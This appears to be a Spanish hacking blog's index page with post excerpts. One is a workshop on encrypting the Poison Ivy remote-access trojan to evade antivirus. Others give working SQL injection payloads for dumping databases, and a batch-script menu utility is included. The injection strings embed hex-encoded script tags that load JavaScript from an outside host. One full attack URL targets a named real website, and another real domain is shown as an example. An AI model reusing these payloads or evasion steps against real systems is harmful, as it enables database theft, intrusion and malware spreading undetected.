Publicado el 31/01/2010 12:01:00 en Criptografía. Total de votos: 5 Votar
Taller: Encriptando Malware a Mano
Objetivos de éste taller
Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el talller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programación y a partir de éste taller, tendremos los conocimientos necesarios para programar un crypter sabiendo que queremos conseguir realmente.
Herramientas Necesarias
[*] Olly Debug
Descargar
[*] Un Editor Hexadecimal
Descargar HxD
[*] Un Editor del PE
Descargar LordPE
[*] Poison Ivy v2.1.4 Private
Descargar
Conocimientos recomendados
[*] Nociones básicas sobre ASM.
Taller ASM por E0N
[*] Conocimientos sobre el Formato PE.
Taller Formato PE por Ferchu
[*] Familiarización con el uso de Olly y las otras herramientas.
¿Qué vamos a encriptar?
Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:
Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a encriptar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y encriptar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está :P:
Entonces, lo que vamos a encriptar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.
¿Cómo lo vamos a encriptar?
Lo haremos de una forma sencilla. Encriptaremos el archivo...
Continúa aquí...Comentarios: 7 | Leer comentarios
Publicado el 12/12/2009 12:12:00 en Hacking Web. Total de votos: 11 Votar
General Injection Explorer 3.0
by PonyMagic
[?] Que es?
Basicamente es un explorador de bases de datos MySQL via SQLi, "incrustado" en la inyeccion.
[!] Que tiene la version 3.0?
[+] Codeado desde 0.
[+] Bypasseo de "illegal operation", y limite de group_concat_max_len.
[+] Mejor manejo de CSS && DIVS.
[+] Peticiones realizadas con AJAX.
[+] Nueva forma de ver tablas, MUCHO mas ordenadas.
[?] Como se usa?
En una SQLi, unis otro select y marcas las columnas ( id=-1 union select 1,2,3,4,5 )
En un valor que printee (que se muestre en la web), simplemente copias y pegas el codigo de la GIE.
(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)
Ejemplo:
adegasgalegas.es SQLi
adegasgalegas.es GIE SQLi
Injeccion con General Injection Explorer 3.0
Luego, se navegan las bases de datos, usando ese "cuadradito" como un mini-phpmyadmin :P como se ve en el siguiente [.gif]:
[+] Gracias a virtux por hostear, acá tienen el código y el link:
Link JS
Link Paste2 [Highlight]
Comentarios: 17 | Leer comentarios
Publicado el 24/11/2009 12:11:00 en Programación General. Total de votos: 2 Votar
Ahora Pueden crear un menu de items seleccionables con el teclado al mejor estilo textas (?
Parametros:
Call:Menu
|_1_ Items separados por Puntos ( ejemplo.de.items. )
|_2_ Espacio entre borde Isq y menu ( " " )
|_3_ Icono de NO seleccionado ( "[-]" )
|_4_ Icono de SI seleccionado ( "[+]" )
|_5_ Variable que contenga una cabezera para el menu, sin %% (Cabezera)
|_6_ Variable donde se almacenara el item seleccionado
Call:Menu "ejemplo.de.items" " " "[-]" "[+]" Cabezera Resultado
Ejemplos:
:MenuCreator
SetLocal EnableDelayedExpansion
If NOT exist "keyboard.exe" (Call:..kybrd Echo)
Set ..p6=%6
Set ..c=0
set ..p1=%~1
set ..p1=%..p1:.=,%
For %%_ in (%..p1%) Do (Set /A ..c+=1&Set ..itm!..c!=%%_)
Set ..s=1
:..MnGn
CLS&Echo.&!%5!&Echo.
For /L %%_ in (1,1,!..c!) Do (
If ["%%_"]==["!..s!"] (Echo%~2%~4 !..itm%%_!) Else (Echo%~2%~3 !..itm%%_!)
)
keyboard
If ["%ErrorLevel%"]==["72"] (IF not ["!..s!"]==["1"] (Set /A ..s-=1))
If ["%ErrorLevel%"]==["80"] (IF not ["!..s!"]==["!..c!"] (Set /A ..s+=1))
If ["%ErrorLevel%"]==["13"] (Set %..p6%=!..itm%..s%!&CLS&GOTO:EOF)
GoTo:..MnGn
:..kybrd
(%1 n keyboard.dat
%1 e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
%1 e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
%1 e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
%1 rcx&%1 002E&%1 w0&%1 q&%1.)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
rename "keyboard.dat" "keyboard.exe"
GoTo:EOF
Set Cabezera=Echo \_/\ [ MenuByPony ] /\_/
Call:Menu "Menu.By.Pony.Magic" " " "[-]" " [+]" Cabezera resultado
Echo.
Echo %resultado%
Pause
Set Cabezera=Echo -:01010011.. P0NYM4GIK ..11001010:-
Call:Menu "Menu.By.Pony.Magic" " " "o" " o" Cabezera resultado
Echo.
Echo %resultado%
Pause
Comentarios: 5 | Leer comentarios
Publicado el 14/11/2009 12:11:00 en Hacking Web. Total de votos: 6 Votar
[+] Tengo la extraña sensacion de que mi cerebro esta esperando a que postee alguna idea para que luego se me ocurra mejorar algo. Asi que acá les van 2 "actualizaciones" de mis anteriores 2 posteos. bastante "mejorados".
1ro) la GiE o General Injection Explorer [1Er POST] :
+ Coodee desde 0 otra version tambien en JS. Link.
+ Gracias a virtux por hostear :P
Acá 2 screens para que vean la diferencia:

GiE 1.0 Posteada anteriormente
GiE 2.0 2da version de la GiE
Dejo directamente la Inject, el que no entienda como se usa, que vea el
anterior post.
(Select/**/concat(0x3C70207374796C653D27646973706C61793A6E6F6E65273E4769453A,group_concat(DISTINCT/**/cast(table_schema/**/as/**/char)),0x7C7C,0x7C7C,0x7C7C,0x7c7c3c2f703e3c73637269707420747970653d22746578742f6a61766173637269707422207372633d22687474703a2f2f7777772e7669727475782e636f6d2e61722f4749452e6a73223e3c2f7363726970743e)/**/from/**/information_schema.tables)
Y acá la web del ejemplo con la GiE2
http://www.fcu.com.uy/popup_indice.php?id=7%20and%201=2%20union%20select%201,%28Select/**/concat%280x3C70207374796C653D27646973706C61793A6E6F6E65273E4769453A,group_concat%28DISTINCT/**/cast%28table_schema/**/as/**/char%29%29,0x7C7C,0x7C7C,0x7C7C,0x7c7c3c2f703e3c73637269707420747970653d22746578742f6a61766173637269707422207372633d22687474703a2f2f7777772e7669727475782e636f6d2e61722f4749452e6a73223e3c2f7363726970743e%29/**/from/**/information_schema.tables%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54--
2do) Olvidate de limit en tus SQLi: [1Er POST] :
+ Bueno en esta tambien hise bastante. ahora uso variables en vez de repetir la inject en el instr() y tambien ago una inject mas general que es "inteligente". ve cuanto ocupo el concat anterior y ve si tiene que seguir o no, es una estupides... una linda estupides XD
.Miren el codigo, ahora esta mas limpio y se entiende vastante si lo separamos en renglones :)
Replace(concat(
@1:=(Select/**/group_concat(distinct/**/cast(table_name/**/as/**/char))/**/from/**/information_schema.tables),
IF(length(@1)=1024,
@2:=(Select/**/group_concat(distinct/**/cast(table_name/**/as/**/char))/**/from/**/information_schema.tables/**/where/**/instr(@1,table_name)=0),
(select 0x20)
),
IF(length(@2)=1024,
...
Continúa aquí...Comentarios: 12 | Leer comentarios
Publicado el 11/11/2009 12:11:00 en Hacking Web. Total de votos: 3 Votar
[+] Bueno, acá haciendo otro post para que tus SQLi queden cada dia mas lindas (?
[+] Como muchos saben, con Group_concat(), el límite es de unos 250 caracteres, por eso al printear un concateo relativamente grande "se corta" hoy les voy a mostrar 2 formas para estirar esos 250 caracteres, una muy simple, y la otra... masomenos :P
[+] El 1er Semitip' que tengo, es que cuando usen Group_concat(), realizen un cast() al objeto y lo hagan una variable CHAR. con esto aumentamos la cantidad de caracteres a 1024 que es el seteado group_concat_max_len (inmodificable desde una inejct) . También, para los que setean el delimitador dentro del group, les recomiendo replazar "," por "<br>" luego con replace(). Sino, estamos gastando esos valiosos 1024chars, esto es lo máximo que sacaremos de un solo select con group_concat:
Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)
[+] hasta ahí vamos a poder llegar con group_concat, pero también voy a "enseñar" una forma para realizar un "limit casero" en el concateo :) supongamos que tenemos esta inject:
id=1 and 1=2 union select 1,2,3,4--
[+] lo 1ro que vamos a hacer, es un select pidiendo las tablas a information_schema.
id=1 and 1=2 union select 1,(
Select
Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)
from information_schema.tables
),3,4--

Screen 1: Concateo con cast y replace
[+] Lo que nos devolvería los 1ros 1024chars del concateo. Ahora con este "limit casero" vamos a crear una query que pida los siguientes 1024 caracteres. Para eso vamos a usar la funcion INSTR()
id=1 and 1=2 union select 1,(
Select
Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)
from information_schema.tables
Where
INSTR(
(Select Group_concat(Cast(Table_Name AS CHAR)) from information_schema.tables),
Table_Name
) = 0
),3,4--

Screen 1: Concateo con cast y replace, y el "limit casero"
[+] Lo que pedimos acá, ...
Continúa aquí...Comentarios: 6 | Leer comentarios